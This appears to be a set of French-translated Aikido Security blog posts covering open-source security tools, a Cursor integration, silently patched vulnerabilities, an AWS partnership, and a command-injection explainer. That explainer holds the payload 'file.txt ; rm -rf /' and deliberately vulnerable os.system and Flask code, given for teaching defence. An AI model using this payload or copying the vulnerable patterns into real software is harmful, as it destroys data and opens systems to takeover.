Bienvenue sur notre blog.

La sécurité peut être un monde difficile et coûteux. Nous avons donc décidé de créer un guide complet des outils de sécurité open-source afin de faire la part des choses et de montrer quels sont les outils les plus importants à mettre en œuvre, quels sont les actifs que vous devez protéger et comment vous pouvez élaborer un plan de sécurité à long terme en utilisant uniquement des outils gratuits et open-source.

Télécharger le guide ici

Quels sont les outils les plus importants ?

Les outils de sécurité disponibles sont apparemment infinis, et la première étape consiste toujours à décider par où commencer. Bien que cela puisse varier en fonction des spécificités, nous recommandons toujours de commencer par les fruits les plus faciles à cueillir pour les attaquants. Assurez-vous que votre infrastructure en nuage est sécurisée, que vous n'avez pas de secrets que les attaquants peuvent facilement trouver, qu'il n'y a pas de simples erreurs de codage menant à des erreurs et que vous n'avez pas de vulnérabilités critiques dans votre chaîne d'approvisionnement en logiciels libres. À partir de là, vous pouvez mettre en œuvre d'autres outils pour améliorer la sécurité et mettre en œuvre d'autres bonnes pratiques tout au long du cycle de développement des logiciels.

Quels sont les outils disponibles ?

Il existe un grand nombre d'excellents outils open-source disponibles et beaucoup dépendra de votre stack et de vos besoins exacts, mais voici quelques-uns de ceux que nous considérons comme l'étalon-or et un excellent point de départ.

CSPM (Cloud Security Posture Management)

Cloudsploit
Le CSPM est un outil essentiel pour protéger nos actifs dans le nuage, Cloudsploit est un CSPM open-source. Le projet détecte les risques de sécurité dans les comptes d'infrastructure en nuage, notamment Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP) et Oracle Cloud Infrastructure (OCI).

Détection des secrets

Trufflehog | gitleaks.
Les secrets sont des cibles de grande valeur pour les attaquants car ils permettent des mouvements latéraux rapides vers de nouveaux systèmes. En fait, les secrets sont utilisés dans 83% des brèches. Il est essentiel de les détecter là où ils se trouvent, en particulier dans vos dépôts git. Deux des meilleurs outils open-source pour les secrets sont Trufflehog et gitleaks.

SCA (analyse de la composition des logiciels)

Trivy | Dependency-Check | Dependency-Track
Les dépendances open-source représentent 85% du code de nos applications, ce qui signifie que les attaquants connaissent votre code mieux que vous ! Il est essentiel que nous sachions quels composants open-source contiennent des vulnérabilités. Les outils SCA analysent les dépendances open-source que nous utilisons dans nos applications et déterminent quelles sont les vulnérabilités connues. Trivy, Dependency-Check et Dependecy-Track sont d'excellents outils pour nous aider à comprendre les risques liés aux logiciels libres.

SAST (test statique de sécurité des applications)

Bandit | Breakeman| GoSec |SemGrep
SAST examine votre code source à la recherche d'erreurs pouvant entraîner des problèmes de sécurité. Les erreurs les plus courantes que SAST peut découvrir sont les vulnérabilités d'injection, les échecs de cryptage et les débordements de mémoire tampon. Les outils que vous choisirez devront être spécifiques à votre stack technologique. Quelques options intéressantes sont Bandit (Python), Breakeman (Ruby), GoSec (Go) et SemGrep (Generic).

DAST (Test dynamique de sécurité des applications)

Nuclei | Zap
Les outils DAST agissent comme un hacker automatisé qui lance des attaques contre vos domaines afin de découvrir les vulnérabilités exploitables. Nuclei et Zap sont deux excellents outils open-source.

Détection des logiciels malveillants

Phylum
Les outils SCA classiques s'appuient sur des vulnérabilités qui ont été divulguées publiquement. La détection de logiciels malveillants consiste à découvrir des codes malveillants à l'intérieur de paquets qui n'ont peut-être pas été signalés. Phylum est un excellent outil pour cela, bien que techniquement il ne soit pas complètement open-source, mais il a une version gratuite qui peut être utilisée avec leur outil d'analyse CLI.

Scanner de l'IaC

Checkov
L'infrastructure en tant que code nous a permis de provisionner et de déployer l'infrastructure en nuage avec plus de confiance et de facilité. Cela peut toutefois conduire à une mauvaise configuration qui introduit des problèmes de sécurité. Les outils CSPM évoqués précédemment peuvent trouver des erreurs dans votre infrastructure en nuage, tandis que l'analyse IaC peut empêcher ces erreurs de se produire avant le déploiement. Checkov est un excellent outil qui permet de détecter les problèmes de sécurité.

Pare-feu intégré

Zen-Node | Zen Python
Il y a eu une réelle tendance à se déplacer vers la gauche en matière de sécurité (déplacer la sécurité plus tôt dans le cycle de vie), bien que cela soit excellent, nous ne devrions pas négliger l'autre côté de la médaille et mettre en œuvre la sécurité pour nos applications en cours d'exécution. Zen by Aikido est un firewall in-app open-source qui peut bloquer des attaques comme l'injection au moment de l'exécution, ajoutant ainsi un niveau de protection secondaire. Zen-Node | Zen Python

Composants en fin de vie

endoflife.date
Les composants qui ne sont plus maintenus constituent un risque important de notre chaîne d'approvisionnement en logiciels libres. endoflife.date est une excellente base de données de projets qui ne sont plus maintenus et qui ne devraient pas être utilisés en production.

Protection des licences

Trivy
Il est important de s'assurer que vous utilisez la bonne licence open-source avec votre application. Trivy fournit des informations précieuses sur les types de licences open-source et sur la manière dont elles sont utilisées.

Les outils à code source ouvert sont-ils aussi performants que les versions commerciales ?

Les outils open-source peuvent être d'une très grande qualité en termes de capacités de numérisation. Toutefois, les outils commerciaux apportent davantage en matière de réduction du bruit, de remédiation et de surveillance. De nombreux outils commerciaux tels qu'Aikido utilisent des scanners open-source sous le capot. Il ne faut pas avoir peur d'utiliser des outils à code source ouvert, mais il faut être conscient que l'utilisation d'outils à code source ouvert, en particulier au fur et à mesure que l'entreprise se développe, nécessitera beaucoup de temps de la part des ingénieurs.

Pourquoi utiliser des outils de sécurité à code source ouvert ?

• Pas de barrière à l'entrée (démarrage rapide et gratuit)
• Les logiciels libres sont un excellent moyen d'obtenir l'adhésion du conseil d'administration (ces outils peuvent être utilisés pour mettre en évidence les problèmes de sécurité).
• Scanners de haute qualité (de nombreux outils open-source offrent des capacités de numérisation équivalentes)
• Soutien communautaire

Pourquoi ne pas utiliser des outils de sécurité à code source ouvert ?

• Installation difficile, les outils open-source utilisent un patchwork de langages et de frameworks, il est donc difficile de les faire dialoguer correctement.
• Les outils bruyants à code source ouvert ont tendance à se concentrer sur la découverte et peuvent donc générer de nombreux faux positifs si des couches de filtrage supplémentaires ne sont pas créées.
• Soutien limité, si les outils se cassent, vous êtes seul.
• Pas de RBAC. Dans le développement moderne, il est important que toute l'équipe soit impliquée. La sécurité des logiciels libres ne permet aucun filtrage entre les rôles, ce qui représente une lourde charge pour l'équipe de sécurité.

Il n'y a pas de bonne réponse à la question de savoir s'il faut préférer les outils à code source ouvert aux outils commerciaux ; les deux ont leur place .

La différence de l'Aïkido

Si vous êtes à la recherche d'outils de sécurité open-source, vous avez probablement réalisé ou allez réaliser que les outils commerciaux sont chers alors que les outils open-source nécessitent beaucoup de travail pour être en mesure de les centraliser dans un tableau de bord. Chez Aikido, nous comprenons ce défi et avons créé un produit qui rassemble de manière transparente les projets open-source, centralisés dans un tableau de bord unique qui fournit un contexte à chaque problème de sécurité avec un tri automatique et des flux de travail de remédiation. Cela vous permet d'avoir la puissance d'un grand outil commercial à une fraction du prix.

Commencez gratuitement

Cursor AI est rapidement devenu l'éditeur de code d'IA le plus en vogue, gagnant rapidement en popularité auprès des développeurs qui cherchent à écrire du code plus rapidement et plus efficacement. Mais si Cursor accélère le codage, comment les développeurs peuvent-ils être sûrs que le code Gen AI est sécurisé ?

TL;DR : avec Aikido x Cursor, les développeurs peuvent sécuriser leur code au fur et à mesure qu'il est généré.

Si vous avez manqué le battage médiatique jusqu'à présent, Cursor est un IDE "AI Native" construit sur VSCode. Il opère dans un domaine de plus en plus encombré de startups de copilotage de codage Gen AI, en concurrence avec Github Co-pilot, Cognition, Poolside, Magic, et Augment entre autres.

Alors que Cursor a été fondé en 2022, ce n'est qu'à la mi-2024 que Cursor a commencé son ascension fulgurante vers la tête de la course au code Gen AI, à peu près au même moment où Cursor a ajouté Sonnet 3.5M comme modèle par défaut... Voici un extrait de l'édition de la semaine dernière de "The Pragmatic Engineer" de Gregely Orosz, la lettre d'information technologique n° 1 sur substack, qui montre comment les développeurs classent les différents IDE en fonction des caractéristiques de la GenAI :

Bien que les personnes interrogées soient probablement pour la plupart des early adopters, il est tout de même assez impressionnant de voir Cursor, en tant que nouvel entrant, conquérir les cœurs et les esprits aussi rapidement. Il n'est pas surprenant qu'elle ait depuis levé 60 millions de dollars en financement de série A auprès d'Andreessen Horowitz, de Thrive Capital, d'OpenAI, de Jeff Dean, de Noam Brown et des fondateurs de Stripe, GitHub, Ramp, Perplexity et OpenAI, entre autres.

C'est pourquoi Aikido Security est heureux de lancer sa nouvelle intégration avec Cursor AI. Aikido x Cursor apporte la sécurité en temps réel dans l'IDE Cursor, aidant les développeurs à écrire et à générer du code sécurisé dès le départ, sans perdre de temps.

Comment fonctionne l'intégration

Aujourd'hui, vous pouvez intégrer Aikido directement dans votre IDE Cursor. Aikido analysera votre base de code à la recherche de secrets, de clés API et de problèmes de code SAST pendant que vous développez, à chaque fois que vous ouvrez ou enregistrez un fichier.

Si des problèmes sont détectés, Aikido les met en évidence dans l'éditeur et les affiche dans le panneau Problèmes. Lorsque vous survolez un problème SAST détecté, des informations supplémentaires sur le problème sont fournies. Dans certains cas, vous pouvez même corriger les problèmes avec les suggestions de Cursor dans le chat (bien qu'il soit encore rouillé).

1. Détection instantanée des vulnérabilités
   Aikido analyse le code au fur et à mesure qu'il est généré, identifiant ainsi les vulnérabilités de sécurité en temps réel. Des explications claires et concises vous permettent de savoir quel est le problème et pourquoi il est important - pas de rapports trop compliqués.
2. Corriger les problèmes en un seul clic
   Lorsqu'une vulnérabilité est signalée, Cursor peut générer des suggestions de correction en un seul clic. Vous pouvez l'appliquer directement depuis l'interface de chat de Cursor. Sachez que toutes les suggestions de Cursor ne sont pas valables.
3. Restez concentré
   Tout se passe dans l'IDE Cursor. Il n'est pas nécessaire de changer d'outil, d'exécuter des scans externes ou de jongler avec des plates-formes distinctes. Aikido s'intègre de manière transparente dans l'IDE, ce qui vous permet de vous concentrer sur la construction tout en sachant que votre code est sécurisé.

Pourquoi c'est important

L'impact de l'IA sur l'ingénierie ne fait aucun doute. Les générateurs de code d'IA ou les copilotes ne sont pas infaillibles. D'une part, l'IA générique peut être utilisée pour renforcer la sécurité (nous y reviendrons très bientôt !). D'autre part, elle introduira inévitablement des vulnérabilités. Nous attendons tous le jour où l'IA sera capable d'en finir avec les détails. Aujourd'hui, nous nous en rapprochons.

Cette intégration permet aux développeurs de rester dans la course et de créer des applications sécurisées tout en exploitant le meilleur des outils pilotés par l'IA et en étant assurés que le résultat est sécurisé. La sécurité, c'est fait. Retournez à la construction.

Commencez

L'intégration d'Aikido est disponible dès maintenant pour les utilisateurs de Cursor. Pour l'instant, vous aurez besoin d'un abonnement payant pour l'intégrer. Suivez les étapes ci-dessous :

Étape 1. Rendez-vous sur le Visual Studio Code Marketplace et suivez les instructions pour installer une extension dans Cursor.

Etape 2. Dans Aikido, allez sur la page d'intégration de Cursor IDE et créez votre jeton.

Étape 3. Consultez les exemples dans notre documentation sur Visual Studio Marketplace pour vérifier que tout fonctionne bien.

Étape 4. Reprendre la construction.

Sécurisez votre code tel qu'il est écrit et généré.

Intel est notre flux de menaces de sécurité open-source alimenté par l'IA et notre équipe de recherche interne. Intel surveille et découvre les vulnérabilités des logiciels libres avant qu'elles ne soient divulguées. Beaucoup ne le sont jamais.

67 % des failles logicielles corrigées silencieusement n'ont jamais été divulguées

Les logiciels libres alimentent le monde, littéralement. Cependant, la sécurité des logiciels libres est également un domaine qui suscite d'énormes préoccupations en matière de sécurité. Les outils open-source, comme tout le reste, peuvent introduire des failles de sécurité. Celles-ci peuvent être utilisées par des pirates pour exploiter votre application. Les vendeurs de logiciels sont ainsi exposés à des attaques dont ils ne sont pas responsables. La sécurité des logiciels libres est donc un sujet très important.

Nous comptons non seulement sur la communauté des logiciels libres pour construire et entretenir ces outils, mais aussi sur elle pour corriger toutes les failles de sécurité connues. Il est important de noter que nous comptons également sur ces mainteneurs pour signaler publiquement les vulnérabilités lorsqu'elles sont découvertes. La divulgation publique des vulnérabilités par la communauté constitue le fondement de la sécurité des logiciels libres.

Le patching silencieux, ou patching fantôme, est l'application d'un correctif de sécurité (patching) qui n'est jamais divulgué. Il s'agit d'un problème important car cela signifie que les vendeurs peuvent utiliser des logiciels vulnérables sans être conscients du risque.

Nous lançons Aikido Intel pour faire sortir de l'ombre les logiciels silencieusement corrigés qui pourraient vous affecter. Avec Aikido Intel, nous pouvons avertir les développeurs le plus tôt possible si nous trouvons des vulnérabilités susceptibles de les affecter et d'améliorer la sécurité des logiciels libres.

Qu'est-ce que l'Aikido Intel ?

Aikido Intel est une initiative d'AI et de notre équipe de recherche interne visant à améliorer la sécurité des logiciels libres en découvrant les vulnérabilités dans la chaîne d'approvisionnement des logiciels libres le plus tôt possible. Avant même qu'elles ne soient divulguées dans une base de données de vulnérabilités. Pour ce faire, nous utilisons des LLMs formés sur mesure pour examiner les changements dans les paquets et identifier quand un problème de sécurité a été corrigé.

Comme tous les logiciels, les logiciels libres conservent un journal des modifications apportées à chaque nouvelle version. Intel utilise l'intelligence artificielle pour lire tous ces journaux de modifications publics et ces notes de version afin de trouver des exemples de correctifs apportés à des problèmes de sécurité. Ces informations sont ensuite comparées à cinq bases de données de vulnérabilités pour vérifier si le problème a été signalé. Si ce n'est pas le cas, un ingénieur en sécurité analyse et évalue la vulnérabilité, lui attribue un numéro de vulnérabilité Aikido et une gravité, puis l'annonce publiquement afin que vous sachiez si vous êtes concerné. Vous trouverez plus de détails à ce sujet un peu plus loin.

Checkout Aikido Intel maintenant

Aikido Intel en chiffres

Depuis son lancement en janvier, Aikido, Intel a découvert 511 vulnérabilités qui ont été corrigées mais n'ont pas été rendues publiques, ce qui représente une menace réelle pour tous ceux qui utilisent ces logiciels.

Il peut parfois s'écouler un certain temps entre le moment où une vulnérabilité est corrigée et celui où un numéro CVE est attribué au problème. Chaque semaine, Aikido réévalue l'état des vulnérabilités précédentes pour voir si un numéro CVE leur a été attribué. Nous pouvons révéler que 67% des vulnérabilités que nous avons découvertes n'ont jamais été divulguées publiquement dans une base de données de vulnérabilités !

S'il n'est pas surprenant que les vulnérabilités de faible gravité soient plus souvent corrigées silencieusement, il est tout de même choquant de constater que plus de 50 % des vulnérabilités importantes et critiques ne sont jamais divulguées. Cela crée un énorme angle mort pour les développeurs et les vendeurs de logiciels.

Je sais que certains d'entre vous vont se tortiller sur leur siège en se disant qu'il s'agit peut-être de petits projets open-source, pas très populaires, avec des politiques de sécurité limitées, mais en fait, vous auriez tort. Nous avons trouvé des vulnérabilités non divulguées dans de très grands projets. .

Axios, un client HTTP basé sur des promesses pour le navigateur et node.js avec 56 millions de téléchargements hebdomadaires et 146 000 + dépendants, a corrigé une vulnérabilité pour un prototype de pollution en janvier 2024 qui n'a jamais été divulguée publiquement.

Fait amusant à propos de cette vulnérabilité : Il s'agit en fait de la première vulnérabilité découverte par Aikido Intel (voir le numéro 2023-10001).... Elle n'a toujours pas été révélée à ce jour !

Axios n'est pas le seul, il y a quelques autres noms qui méritent une mention spéciale. Apache a silencieusement corrigé une vulnérabilité dans le logiciel echarts pour le cross-site scripting qui n'a jamais été divulguée.

Un autre exemple intéressant que nous avons découvert est une vulnérabilité critique de traversée de chemin dans le Chainlit qui a été corrigée en septembre, mais la vulnérabilité n'a jamais été divulguée publiquement.

Les vulnérabilités les plus courantes

Les scripts intersites constituent la vulnérabilité non divulguée la plus courante (14,8 %), suivie de l'exposition d'informations sensibles (12,3 %). Dans l'ensemble, nous avons détecté 90 types différents de vulnérabilités, ce qui a donné lieu à une longue série de résultats, dont voici quelques-uns des plus courants.

Les vulnérabilités les plus courantes découvertes

Si l'on se limite aux vulnérabilités cuticulaires et aux vulnérabilités élevées, le tableau est légèrement différent, l'exécution de code à distance occupant la première place de la liste.

Les vulnérabilités les plus courantes découvertes - critiques et élevées seulement

Délai de divulgation

Alors qu'au moment de la rédaction de cet article, 67 % des paquets n'ont jamais révélé leurs vulnérabilités, 31 % l'ont fait, que ce soit de la part des responsables ou des chercheurs en sécurité (bravo à eux). Parmi les paquets qui ont révélé leurs vulnérabilités, il s'est écoulé en moyenne 27 jours entre le moment où le correctif a été publié et celui où un CVE a été attribué. Le délai le plus court que nous ayons observé est de 1 jour et le plus long de 9 mois !

Comment fonctionne Intel (en détail)

Je sais que nous en avons tous assez des nouvelles conneries sur l'IA, mais Intel est une initiative de l'équipe de recherche en sécurité d'Aikido et l'équipe d'IA d'Aikido utilise l'IA avec un humain dans la boucle pour fournir un flux de menaces public afin d'améliorer la sécurité des sources ouvertes.

Intel travaille en lisant tous les changelogs et notes de version disponibles publiquement pour comprendre si des correctifs de sécurité ont été apportés mais n'ont pas été divulgués. Pour ce faire, deux modèles LLM sont utilisés, l'un pour filtrer les données et supprimer tout contexte inutile afin que le second LLM puisse se concentrer sur l'analyse des vulnérabilités. Un ingénieur en sécurité humain examine ensuite les découvertes du LLM, valide les résultats et publie un Intel lorsqu'une vulnérabilité est confirmée.

Cette méthode est très efficace car elle consomme beaucoup moins de puissance de calcul que l'analyse de tous ces systèmes à la recherche de vulnérabilités. Pourtant, il a fallu plus d'un an pour obtenir de nombreux résultats concrets.

Comment les Changelogs sont vus par Aikido Intel

Les listes de modifications sont des documents conservés dans les projets open-source qui enregistrent les mises à jour, les corrections de bogues, les ajouts de fonctionnalités et les correctifs. En voici quelques exemples CHANGELOG.md les messages de validation et les notes de version de GitHub.

L'Intel LLM identifie les entrées suggérant des changements liés à la sécurité en recherchant les éléments suivants :

• Mots clés : "vulnérabilité", "sécurité", "correction", "exploit", "validation d'entrée", etc.
• Indices contextuels : "Correction d'un bogue critique", "Correction d'un débordement de mémoire tampon", "Résolution de problèmes d'authentification".

Exemple d'entrées signalées par le LLM :
- Correction d'un problème de vérification des entrées dans le gestionnaire de connexion.
- Résolution d'une fuite de mémoire pouvant entraîner des attaques par déni de service.
- Correction d'une vulnérabilité de traversée de chemin dans la fonctionnalité de téléchargement de fichiers.

Sécurité des logiciels libres, comment les vulnérabilités sont divulguées correctement

Comme indiqué précédemment, la divulgation publique est un élément important de la sécurité des logiciels libres. Plusieurs bases de données différentes sont utilisées pour révéler la présence d'une vulnérabilité dans un logiciel. La principale est la base de données nationale sur les vulnérabilités (NVD), gérée par le gouvernement américain. Cette base de données n'est pas seulement utilisée par les entreprises pour vérifier leur chaîne d'approvisionnement, mais aussi par les logiciels de sécurité qui vérifient les projets par rapport à cette base de données et à d'autres (logiciel SCA). Il existe de nombreuses autres bases de données, notamment la base de données Common Vulnerabilities and Exposures (CVE) de Mitre, la base de données GitHub Advisory, et bien d'autres encore, au total Aikido vérifie 5 bases de données différentes. Mais ce que la plupart de ces bases de données ont en commun, c'est qu'elles exigent que les vulnérabilités soient divulguées publiquement, généralement après qu'un correctif ait été publié.

Pourquoi les vulnérabilités ne sont-elles pas divulguées ?

C'est une bonne question et je voudrais commencer par dire qu'il n'y a aucune bonne raison de ne pas divulguer les vulnérabilités. La raison la plus courante est peut-être le risque de réputation, le fait que votre logiciel puisse être considéré comme non sécurisé, mais je dirais qu'il y a beaucoup plus à perdre à ne pas divulguer qu'à divulguer.

Pourquoi le "shadow patching" est un problème pour la sécurité des logiciels libres

Ne pas divulguer publiquement les vulnérabilités de votre logiciel crée un risque énorme pour vos utilisateurs. Comme le dit le proverbe, si ce n'est pas cassé, ne le réparez pas, et cela s'applique souvent aux logiciels.

La mise à jour des composants de votre logiciel peut souvent créer des problèmes de performance et de convivialité ou tout simplement casser votre application. C'est pourquoi il n'est pas toujours courant de mettre à jour les paquets dès qu'une nouvelle version est disponible.

Cependant, lorsqu'un composant présente un problème de sécurité, il est important de le savoir car cela modifie l'urgence avec laquelle vous mettez à jour vos composants open-source et tiers. Ne pas divulguer cette information signifie que les utilisateurs sont moins susceptibles de mettre à jour, ce qui signifie qu'ils auront des failles de sécurité dans leurs outils qu'ils ne connaissaient pas, d'où le problème du "shadow patching".

Ne laissez pas des vulnérabilités cachées compromettre votre sécurité.

Associez-vous dès aujourd'hui à Aikido Security pour protéger votre chaîne d'approvisionnement et gagner en tranquillité d'esprit.

Si vous l'avez manqué, au cours de l'été, nous avons lancé notre produit sur le marché AWS en promettant d'offrir aux nouveaux utilisateurs d'AWS le "time-to-security" le plus rapide de l'industrie.

Nous avons également rejoint officiellement le réseau de partenaires AWS (APN) en tant que partenaire AWS validé.

Cela signifie que nous avons passé l'examen technique fondamental d'AWS (FTR). Nous sommes approuvés par le FTR* et répondons aux bonnes pratiques architecturales mises en œuvre par AWS, sans vouloir nous vanter ;)

Vous pourrez bientôt utiliser l'Aïkido pour obtenir l'approbation de la FTR. Nous sommes en train de mettre en correspondance les fonctionnalités d'Aikido avec le processus de sécurité FTR, afin que vous puissiez vous lancer, fonctionner et co-vendre avec AWS rapidement. Vous êtes intéressé ? → inscrivez-vous ici et vous serez le premier à savoir quand.

Au-delà de l'élégant badge de partenaire, nous sommes ravis d'être un partenaire officiel d'AWS et d'avoir ainsi un meilleur accès à la communauté AWS. Nous pouvons mieux servir les clients cloud-native, réduire la complexité inutile dans le parcours client et développer notre propre produit Cloud Security Posture Management (CSPM) pour les utilisateurs d'AWS Cloud.

Pourquoi ajouter l'aïkido à votre facture AWS ?

Aikido Security offre une couverture complète du code au nuage, s'alignant bien avec les capacités de la pile complète d'AWS. Cela est particulièrement utile pour les clients d'AWS qui gèrent la sécurité des applications et du cloud sur une plateforme unifiée.

L'intégration directe avec les environnements AWS simplifie le déploiement, permettant à Aikido d'analyser les vulnérabilités à travers les services AWS comme EC2, S3, Lambda, et plus encore - améliorant la visibilité de la sécurité au sein d'AWS et complétant l'architecture cloud-native. La gestion de la posture AWS d'Aikido s'appuie sur AWS Inspector. Nous pouvons vous montrer les résultats qui peuvent amener les pirates à obtenir un accès initial à votre cloud.

De plus, les contrôles de conformité intégrés d'Aikido contrôles de conformité intégrés d'Aikido s'alignent sur les principales normes (SOC2, ISO 27001, NIS 2, HIPAA), ce qui permet aux clients d'AWS de maintenir plus facilement la conformité de l'infrastructure AWS, ce qui est particulièrement utile pour les industries réglementées.

Intéressé(e) par une démonstration ? Venez nous trouver sur la place de marché AWS

Qu'est-ce que l'injection de commande ?

L'injection de commandes est une vulnérabilité encore très répandue dans les applications web, bien qu'elle soit moins connue que ses cousines l'injection SQL ou l'injection de code. Si vous êtes familier avec d'autres vulnérabilités d'injection, vous reconnaîtrez le principe commun : une entrée utilisateur non fiable n'est pas correctement validée, ce qui conduit à l'exécution de commandes système arbitraires. Cette faille se produit lorsque des données non validées sont transmises à des fonctions de niveau système. Quelle est l'importance de l'injection de commandes ? Nous avons examiné la fréquence de cette vulnérabilité dans la nature, et *spoiler*, elle est étonnamment courante !

Exemple d'injection de commande

Prenons l'exemple suivant d'injection de commande : supposons que vous ayez une application dans laquelle vous pouvez saisir le nom d'un fichier hébergé sur un serveur. L'application récupère ce fichier en écrivant son contenu. Le code correspondant est le suivant

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

Le code ci-dessus s'attend à ce que l'utilisateur insère un nom de fichier tel que fichier.txt mais au lieu de cela, un utilisateur malveillant injecte du code pour exécuter des commandes malveillantes.

Par exemple
Nom du fichier : file.txt ; rm -rf /

Cette entrée affiche d'abord le contenu de fichier.txt et exécute ensuite le fichier malveillant rm -rf qui supprime de force tous les fichiers d'un répertoire.

L'utilisateur malveillant peut faire cela parce que l'application n'a pas validé ou assaini l'entrée de l'utilisateur, ce qui rend l'application vulnérable à l'injection de commandes.

Si vous souhaitez un exemple plus complet, consultez le contenu bonus au bas de cette page. au bas de cette page.

L'injection de commande en chiffres : Nos recherches

• 7% de toutes les vulnérabilités trouvées dans les projets open-source en 2024 étaient des injections de commande.
• 5,8 % pour les projets à code source fermé !
• Une augmentation du nombre total de vulnérabilités d'injection de commandes dans les projets open-source de 2 348 (2023) à 2 600 (2024).
• En pourcentage de toutes les vulnérabilités, l'injection de commande devient moins populaire: une diminution de 14,6 % et de 26,4 % pour les projets open-source et closed-source respectivement de 2023 à 2024.

Notre recherche s'est concentrée sur l'étude des projets à code source ouvert et à code source fermé afin de déterminer combien d'entre eux contenaient des vulnérabilités d'injection de commande.

Dans l'ensemble, le nombre de vulnérabilités par injection de commandes est très élevé : 7 % de toutes les vulnérabilités signalées dans les projets à code source ouvert sont des injections de commandes et 5,8 % dans les projets à code source fermé. Ce chiffre est assez proche du nombre de vulnérabilités par injection de code SQL trouvées.

Il y a aussi de bonnes nouvelles à tirer de ces données, nous voyons une tendance solide à la réduction de ces vulnérabilités de 2023 à 2024. En pourcentage de toutes les vulnérabilités, nous avons constaté une réduction de 27 % dans les projets à code source fermé et de 14 % dans les projets à code source ouvert. Il est probable que de nombreux facteurs contribuent à cette évolution, mais l'un d'entre eux est que le FBI et la CISA ont signalé en 2024 que l'injection de commandes constituait une menace réelle et ont exhorté les fournisseurs à y prêter attention. D'après les données, cet avertissement a été entendu.

Les bonnes nouvelles s'arrêtent malheureusement là. Nous constatons toujours une augmentation du nombre global de vulnérabilités signalées dans les projets open-source. Le nombre total de vulnérabilités par injection signalées dans les projets open-source est passé de 2 348 en 2023 à 2 450 jusqu'à présent en 2024 (on s'attend à ce qu'il atteigne 2 600)

Comment prévenir l'injection de commandes

La prévention des vulnérabilités liées à l'injection de commandes nécessite une approche à multiples facettes :

Validation des entrées côté serveur

Une erreur fréquente consiste à n'effectuer que la validation côté client, qui peut être contournée par un pirate effectuant une requête directe.

import subprocess

# Exemple d'entrée restreinte
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Cela devrait venir de l'utilisateur, mais est validé

if user_input in allowed_files :
subprocess.Popen(['ls', '-l', user_input])
else :
print("Entrée non valide !")

Éviter les commandes shell

Remplacez les commandes de l'interpréteur de commandes par des fonctions ou des bibliothèques propres au langage lorsque cela est possible. Voici un exemple d'utilisation du mode lecture seule pour ouvrir un fichier et lire les contextes qu'il contient.

with open("file.txt", "r") as f :
print(f.read())

Tests automatisés

Utilisez des outils comme Aikido pour analyser votre code source et votre application afin de découvrir ces vulnérabilités.

Utiliser un pare-feu intégré à l'application

L'une des meilleures défenses contre les attaques par injection est un pare-feu in-app qui est capable d'attraper et de bloquer les commandes malveillantes. Le pare-feu in-app d'Aikido, Zen, disponible en open-source et en version commerciale, est capable de détecter et de bloquer les attaques par injection au moment de l'exécution.

Appliquer le principe du moindre privilège

Configurer les applications et les utilisateurs pour qu'ils s'exécutent avec les privilèges minimums nécessaires, afin de réduire les dommages potentiels liés à l'exploitation.

La voie à suivre

L'injection de commandes ainsi que de nombreuses vulnérabilités d'injection est un défi, d'un point de vue technologique, nous l'avons résolu, ce qui signifie qu'il n'y a pas besoin d'avoir ce type de vulnérabilité dans vos applications. Cela étant, le fait que nous voyions encore autant de vulnérabilités de ce type signifie qu'il ne faut pas s'attendre à un bond en avant en matière d'amélioration.

L'injection de commandes restera un problème, mais comme nous avons constaté une baisse significative cette année, les grandes organisations ayant mis l'accent sur cette vulnérabilité, il y a lieu de penser que l'injection de commandes pourrait devenir moins importante à l'avenir si nous continuons à sensibiliser les gens à ce problème.

Contenu bonus

Histoire de l'injection de commande : Brèches importantes

L'injection de commandes est une menace persistante depuis longtemps. En fait, une importante vulnérabilité d'injection de commande était présente dans bash de 1989 à 2014. Plus récemment, en 2024, l'importance de l'injection de commandes a été soulignée par la CISA et le FBI, ce qui montre qu'il s'agit toujours d'une préoccupation majeure.

1. Les débuts de l'injection de commande

• Première utilisation connue : Les vulnérabilités liées à l'injection de commandes sont apparues avec l'essor des systèmes informatiques multi-utilisateurs dans les années 1970 et 1980, permettant aux attaquants d'exécuter des commandes arbitraires par le biais d'entrées non nettoyées.
• Années 1980 et 1990 : La prolifération des technologies web a conduit à une exploitation accrue de l'injection de commandes, en particulier par le biais de scripts CGI mal sécurisés.

2. Brèches et exploits importants

• 1998 : Première attaque documentée par injection de commandes sur le web : Une vulnérabilité dans un script CGI basé sur Perl, largement utilisé, a été exploitée, marquant l'un des premiers incidents majeurs d'injection de commandes sur le Web.
• 2010 : Ver Stuxnet (injection de commande intégrée) : Stuxnet a utilisé l'injection de commandes pour cibler les systèmes de contrôle industriels, démontrant ainsi la portée de la vulnérabilité au-delà des environnements informatiques traditionnels.

3. 2010s : Exploitation à grande échelle

• 2014 : Vulnérabilité Shellshock: Shellshock (CVE-2014-6271) a exploité le traitement des commandes de Bash, affectant des millions de systèmes dans le monde.
• 2018 : Exploitation du VPN de Cisco ASA (CVE-2018-0101): Une vulnérabilité d'injection de commande dans le logiciel ASA de Cisco permettait l'exécution de code à distance, compromettant la sécurité de l'entreprise.

4. 2020s : Exploits et tendances modernes

• 2020 : Exploitation de la passerelle ADC de Citrix : Des attaquants ont exploité des vulnérabilités d'injection de commandes dans les systèmes Citrix, ce qui a entraîné d'importantes violations de données.
• 2023 : Vulnérabilité de MOVEit (Injection SQL et de commande): Une faille d'injection de commande dans le logiciel de transfert MOVEit a conduit à des violations de données à grande échelle dans de nombreuses organisations.

Vulnérabilité de l'injection de commandes réalistes

Le code de la vulnérabilité

Examinons un exemple un peu plus complexe d'injection de commandes. Vous trouverez ci-dessous le code d'une application web Python simple. Elle permet aux utilisateurs de créer une archive ZIP de fichiers spécifiés en envoyant une requête POST à l'adresse /archive l'itinéraire.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Comment ça marche

L'utilisateur fournit :

• dossiers (par exemple, fichier1.txt fichier2.txt) pour spécifier les fichiers à inclure dans l'archive.
• Nom de l'archive pour spécifier le nom de l'archive zip résultante.

Le code construit une commande shell de manière dynamique :

1. zip nom_de_l'archive.zip fichier1.txt fichier2.txt

2. Les os.system() exécute la commande, permettant aux données fournies par l'utilisateur de dicter son comportement.

Exploitation

